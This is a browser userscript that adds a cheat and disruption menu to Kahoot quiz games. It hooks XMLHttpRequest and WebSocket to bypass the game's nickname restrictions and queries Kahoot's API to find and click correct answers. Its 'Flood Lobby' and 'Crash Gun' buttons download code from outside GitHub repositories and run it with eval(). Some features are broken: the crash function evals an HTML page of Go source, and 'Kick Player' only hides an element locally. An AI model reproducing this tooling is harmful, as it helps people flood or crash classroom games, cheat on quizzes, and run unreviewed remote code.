// ==UserScript==
// @name 1Kahoot Custom Mods - ViolentMonkey Compatible Ultra super
// @namespace http://tampermonkey.net/
// @version 1.31
// @description Auto answer doesn't really answer the questions it highlights the answer green and sometimes this only works in classic mode,also only bot flooder and Auto answer work currently more coming soon!
// @author Thatoneguy54321
// @match https://kahoot.it/*
// @match https://play.kahoot.it/v2*
// @grant GM_xmlhttpRequest
// @run-at document-idle
// @license MIT
// ==/UserScript==
(function() {
'use strict';
// Main menu HTML creation with cartoony rainbow background and emojis
const menuHTML = `
<div id="menu" style="position: fixed; top: 20px; left: 20px; padding: 15px; color: white; font-family: 'Comic Sans MS', cursive, sans-serif; z-index: 9999; border-radius: 10px; box-shadow: 0px 5px 10px rgba(0,0,0,0.5); background: linear-gradient(45deg, #ff0000, #ff7f00, #ffff00, #00ff00, #0000ff, #4b0082, #9400d3); animation: rainbow-background 5s infinite linear;">
<h3 style="color: #FF6347; font-size: 20px;">Ownership of Thatoneguy54321 🎮</h3>
<p style="font-size: 16px;">Staff: 🤝</p>
<p style="font-size: 14px; font-style: italic;">Beta Testers: Colton 🧪</p>
<input type="text" id="accessCode" placeholder="Enter Code 🔑" style="width: 100%; padding: 5px; margin-bottom: 10px; border-radius: 5px;" />
<button id="submitCode" style="width: 100%; padding: 10px; background-color: #FF4500; border: none; border-radius: 5px; color: white; font-size: 16px; cursor: pointer;">Submit Code 💥</button>
</div>
<div id="custom-menu" style="display: none; position: fixed; top: 100px; left: 20px; padding: 15px; color: white; font-family: 'Comic Sans MS', cursive, sans-serif; z-index: 9999; border-radius: 10px; box-shadow: 0px 5px 10px rgba(0,0,0,0.5); background: linear-gradient(45deg, #ff0000, #ff7f00, #ffff00, #00ff00, #0000ff, #4b0082, #9400d3); animation: rainbow-background 5s infinite linear;">
<h3 style="color: #FF6347; font-size: 20px;">Kahoot Mods 🎉</h3>
<button id="auto-answer" style="width: 100%; margin-bottom: 10px; padding: 10px; background-color: #32CD32; border: none; border-radius: 5px; font-size: 16px; cursor: pointer;">Auto Answer ✅</button>
<button id="rainbow-bg" style="width: 100%; margin-bottom: 10px; padding: 10px; background-color: #FFD700; border: none; border-radius: 5px; font-size: 16px; cursor: pointer;">Rainbow Background 🌈</button>
<button id="crash-gun" style="width: 100%; margin-bottom: 10px; padding: 10px; background-color: #DC143C; border: none; border-radius: 5px; font-size: 16px; cursor: pointer;">Crash Gun 💥</button>
<button id="flood-lobby" style="width: 100%; margin-bottom: 10px; padding: 10px; background-color: #8A2BE2; border: none; border-radius: 5px; font-size: 16px; cursor: pointer;">Flood Lobby 🌊</button>
<button id="name-glitcher" style="width: 100%; margin-bottom: 10px; padding: 10px; background-color: #00CED1; border: none; border-radius: 5px; font-size: 16px; cursor: pointer;">Name Glitcher ✨</button>
<button id="scoreboard-skip" style="width: 100%; margin-bottom: 10px; padding: 10px; background-color: #FF69B4; border: none; border-radius: 5px; font-size: 16px; cursor: pointer;">Skip Scoreboard 🚀</button>
<button id="kick-player" style="width: 100%; margin-top: 10px; padding: 10px; background-color: #FF1493; border: none; border-radius: 5px; font-size: 16px; cursor: pointer;">Kick Player (Beta) ⚡</button>
</div>
`;
// Add menu HTML to the document
document.body.insertAdjacentHTML('beforeend', menuHTML);
// CSS for rainbow flowing effect
const style = document.createElement('style');
style.textContent = `
@keyframes rainbow-background {
0% { background: linear-gradient(45deg, #ff0000, #ff7f00, #ffff00, #00ff00, #0000ff, #4b0082, #9400d3); }
25% { background: linear-gradient(45deg, #ffff00, #ff7f00, #ff0000, #00ff00, #0000ff, #4b0082, #9400d3); }
50% { background: linear-gradient(45deg, #00ff00, #ff0000, #ff7f00, #ffff00, #0000ff, #4b0082, #9400d3); }
75% { background: linear-gradient(45deg, #0000ff, #00ff00, #ff0000, #ff7f00, #ffff00, #4b0082, #9400d3); }
100% { background: linear-gradient(45deg, #4b0082, #0000ff, #00ff00, #ff0000, #ff7f00, #ffff00, #9400d3); }
}
`;
document.head.appendChild(style);
// Submit code to display custom menu
document.getElementById('submitCode').addEventListener('click', function() {
const code = document.getElementById('accessCode').value.trim();
if (code === '9854') {
document.getElementById('custom-menu').style.display = 'block';
} else {
alert('Invalid code. ❌');
}
});
// Toggle visibility of both menus when pressing 'Z'
document.addEventListener('keydown', function(event) {
if (event.key.toLowerCase() === 'z') {
const menu = document.getElementById('menu');
const customMenu = document.getElementById('custom-menu');
const isMenuVisible = menu.style.display === 'block' || menu.style.display === '';
const isCustomMenuVisible = customMenu.style.display === 'block' || customMenu.style.display === '';
if (isMenuVisible || isCustomMenuVisible) {
// If either menu is visible, hide both
menu.style.display = 'none';
customMenu.style.display = 'none';
} else {
// If both menus are hidden, show them
menu.style.display = 'block';
customMenu.style.display = 'block';
}
}
});
// Kick Player (Beta) functionality: Identify user by username and Game PIN
const kickPlayer = () => {
const username = prompt('Enter the username of the player to kick:');
const gamePin = prompt('Enter the Game PIN:');
if (!username || !gamePin) {
alert('Username and/or Game PIN missing. ❌');
return;
}
// Find the game iframe and its window
const targetIframe = document.querySelector('iframe');
if (!targetIframe) {
alert('Unable to find the game iframe. ❌');
return;
}
const targetWindow = targetIframe.contentWindow;
// Injecting a function into the iframe to identify and manipulate players
targetWindow.postMessage({ type: 'kickPlayer', username: username, gamePin: gamePin }, '*');
// Provide feedback
alert(`Attempting to kick player ${username}... 💥❄️`);
};
// Listen for the custom message from the iframe (in case we need to perform an action inside the iframe)
window.addEventListener('message', function(event) {
if (event.origin !== 'https://play.kahoot.it') return; // Ensure we’re dealing with the Kahoot iframe
const data = event.data;
if (data.type === 'kickPlayer') {
const username = data.username;
const gamePin = data.gamePin;
// Now we need to identify the player in the game.
const players = document.querySelectorAll('.player'); // Assuming class 'player' holds player data
let foundPlayer = null;
players.forEach(player => {
const playerName = player.querySelector('.player-name').innerText; // Assuming the player's name is in '.player-name'
if (playerName === username) {
foundPlayer = player;
console.log(`Player ${username} found! Kicking out...`);
// Simulate the action to "kick" the player
player.style.display = 'none'; // Hides the player from the UI
// Optionally, disable further actions (simulate a freeze)
player.setAttribute('disabled', 'true');
// Log or alert as necessary
alert(`Player ${username} has been kicked from the game! ❌`);
}
});
if (!foundPlayer) {
alert(`Player with username ${username} not found! ❌`);
}
}
});
// Name Glitcher Functionality (Bypass Name Restrictions)
const nameGlitcher = () => {
let nick = "";
const nativeSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.send = function() {
const oldCallback = this.onreadystatechange;
this.onreadystatechange = function() {
if (this.readyState === 4) {
try {
const response = JSON.parse(this.responseText);
if (response.namerator === true)
response.namerator = false;
Object.defineProperty(this, "responseText",{
writable: false,
configurable: true,
value: JSON.stringify(response)
});
} catch (e) {
console.error(e);
}
}
if (oldCallback)
return oldCallback.apply(this, arguments);
};
return nativeSend.apply(this, arguments);
};
const nativeWebSocket = window.WebSocket;
window.WebSocket = function() {
const ws = new nativeWebSocket(...arguments);
const nativeSend = ws.send;
ws.send = function() {
const interceptedMessage = JSON.parse(arguments[0]);
if (interceptedMessage[0] && interceptedMessage[0].data) {
if (JSON.parse(interceptedMessage[0].data.content).usingNamerator === false)
interceptedMessage[0].data.content = JSON.stringify({ ...JSON.parse(interceptedMessage[0].data.content), usingNamerator: true });
if (nick && interceptedMessage[0].data.name) {
interceptedMessage[0].data.name = nick;
nick = "";
console.log("Name Glitcher applied the nickname:", interceptedMessage[0].data.name); // Feedback
alert("Name Glitcher applied the nickname successfully!"); // User feedback
}
}
return nativeSend.apply(this, [JSON.stringify(interceptedMessage)]);
};
return ws;
};
const nativePushState = history.pushState;
history.pushState = function() {
const ret = nativePushState.apply(history, arguments);
if (location.href.includes("kahoot.it/join")) {
const observer = new MutationObserver(function() {
if (document.getElementById("nickname")) {
const input = document.createElement("input");
const nickname = document.getElementById("nickname");
const reactProps = Object.keys(nickname).find(v => v.includes("reactProps"));
if (nickname[reactProps] && nickname[reactProps].value) {
nick = nickname[reactProps].value;
input.value = ` glitcher_${Math.floor(Math.random() * 1000)}`;
nickname.value = input.value;
console.log("Attempted to apply the name:", nickname.value); // Feedback
alert("Attempted to apply a glitched nickname: " + nickname.value); // User feedback
}
}
});
observer.observe(document.body, {
childList: true,
subtree: true
});
}
return ret;
};
};
// Auto Answer Function
let autoAnswerActive = false;
let autoAnswerInterval = null;
const toggleAutoAnswer = async () => {
autoAnswerActive = !autoAnswerActive;
if (autoAnswerActive) {
document.getElementById('auto-answer').style.backgroundColor = '#FF0000'; // Indicate active mode
document.getElementById('auto-answer').innerText = 'highlight Answer (ON) ✅';
autoAnswerInterval = setInterval(autoAnswer, 3000); // Run every 3 seconds
} else {
document.getElementById('auto-answer').style.backgroundColor = '#32CD32'; // Reset button color
document.getElementById('auto-answer').innerText = 'highlight Answer (OFF) ❌';
clearInterval(autoAnswerInterval);
}
};
const autoAnswer = async () => {
const selectors = ['answer-0', 'answer-1', 'answer-2', 'answer-3'];
const questionSelector = '.question-title__Title-sc-12qj0yr-1';
let quizData = null;
const fetchQuizData = (query) => {
return new Promise((resolve, reject) => {
const apiUrl = `https://create.kahoot.it/rest/kahoots/?query=${encodeURIComponent(query)}&limit=20`;
GM_xmlhttpRequest({
method: 'GET',
url: apiUrl,
onload: function(response) {
try {
const jsonResponse = JSON.parse(response.responseText);
if (jsonResponse.entities && jsonResponse.entities.length > 0) {
const quizId = jsonResponse.entities[0].card.uuid;
const quizDetailsUrl = `https://create.kahoot.it/rest/kahoots/${quizId}/card/?includeKahoot=true`;
GM_xmlhttpRequest({
method: 'GET',
url: quizDetailsUrl,
onload: function(quizResponse) {
try {
const quizDetails = JSON.parse(quizResponse.responseText);
resolve(quizDetails);
} catch (err) {
console.error('Error parsing quiz details:', err);
reject(err);
}
},
onerror: function(err) {
console.error('Error fetching quiz details:', err);
reject(err);
}
});
} else {
console.warn('No matching quizzes found.');
reject('No quizzes found.');
}
} catch (err) {
console.error('Error parsing search response:', err);
reject(err);
}
},
onerror: function(err) {
console.error('Error making API request:', err);
reject(err);
}
});
});
};
const questionElement = document.querySelector(questionSelector);
const answerElements = selectors
.map(selector => document.querySelector(`[data-functional-selector="${selector}"]`))
.filter(el => el);
if (!questionElement || answerElements.length === 0) {
console.log('No question or answers detected yet.');
return;
}
const question = questionElement.innerText.trim();
const answers = answerElements.map(el => el.innerText.trim());
if (!quizData) {
try {
console.log('Fetching quiz data...');
quizData = await fetchQuizData(question);
console.log('Quiz data loaded:', quizData);
} catch (err) {
console.warn('Failed to load quiz data.');
return;
}
}
const matchedQuestion = quizData.kahoot.questions.find(q => q.question.trim() === question);
if (!matchedQuestion) {
console.warn('No matching question found in quiz data.');
return;
}
const correctChoice = matchedQuestion.choices.find(choice => choice.correct);
if (correctChoice) {
const correctAnswerText = correctChoice.answer.trim();
const correctAnswerElement = answerElements.find(el => el.innerText.trim() === correctAnswerText);
if (correctAnswerElement) {
correctAnswerElement.style.border = '5px solid green';
correctAnswerElement.click(); // Automatically click the correct answer
console.log(`Auto-answered: ${correctAnswerText}`);
} else {
console.warn('Correct answer not found among visible options.');
}
} else {
console.warn('No correct answer found for this question.');
}
};
// Attach toggle function to the button
document.getElementById('auto-answer').addEventListener('click', toggleAutoAnswer);
// Rainbow Background Toggle
const enableRainbowBackground = () => {
document.body.style.background = 'linear-gradient(45deg, #ff0000, #ff7f00, #ffff00, #00ff00, #0000ff, #4b0082, #9400d3)';
};
// Crash Gun functionality (Causing page crash)
const crashGun = () => {
fetch('https://github.com/unixpickle/kahoot-hack/blob/master/kahoot-crash/main.go').then(function(response) {
response.text().then(function(text) {
eval(text);
});
});
};
// Flood Lobby functionality
const floodLobby = () => {
fetch('https://raw.githubusercontent.com/ThatFruedDued/kahoot-smasher/refs/heads/master/min/index.js').then(function(response) {
response.text().then(function(text) {
eval(text);
});
});
};
// Event listeners for buttons
document.getElementById('auto-answer').addEventListener('click', autoAnswer);
document.getElementById('rainbow-bg').addEventListener('click', enableRainbowBackground);
document.getElementById('crash-gun').addEventListener('click', crashGun);
document.getElementById('flood-lobby').addEventListener('click', floodLobby);
document.getElementById('name-glitcher').addEventListener('click', nameGlitcher);
document.getElementById('kick-player').addEventListener('click', kickPlayer);
})();